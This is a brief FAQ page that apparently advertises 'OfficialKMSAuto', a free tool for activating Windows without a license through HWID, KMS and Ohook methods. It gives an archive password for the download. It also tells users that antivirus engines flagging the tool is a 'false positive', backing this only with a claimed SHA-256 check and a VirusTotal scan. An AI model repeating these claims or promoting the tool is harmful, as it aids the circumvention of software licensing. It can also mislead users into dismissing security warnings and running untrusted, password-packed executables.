Frequently asked questions
▸Is OfficialKMSAuto free to use?
Yes. OfficialKMSAuto is 100% free, open source and ad-free. There are no premium tiers and no surveys to complete.
▸Is the activator safe?
Yes. The build is SHA-256 verified and scanned on VirusTotal. Antivirus engines flag every KMS activator generically as HackTool because it touches Windows licensing — that is a false positive, not malware.
▸Do I need an internet connection?
HWID and Online KMS need a short internet connection to receive the digital license. Ohook works fully offline. After activation you can disconnect — the license is stored on the machine.
▸Will activation survive Windows updates?
Yes. HWID and Ohook produce permanent licenses that survive feature updates and even fresh reinstalls when the same hardware is detected.
▸What is the archive password?
The official archive password is WYqejXiqBi97. You can copy it from the download button on this page.
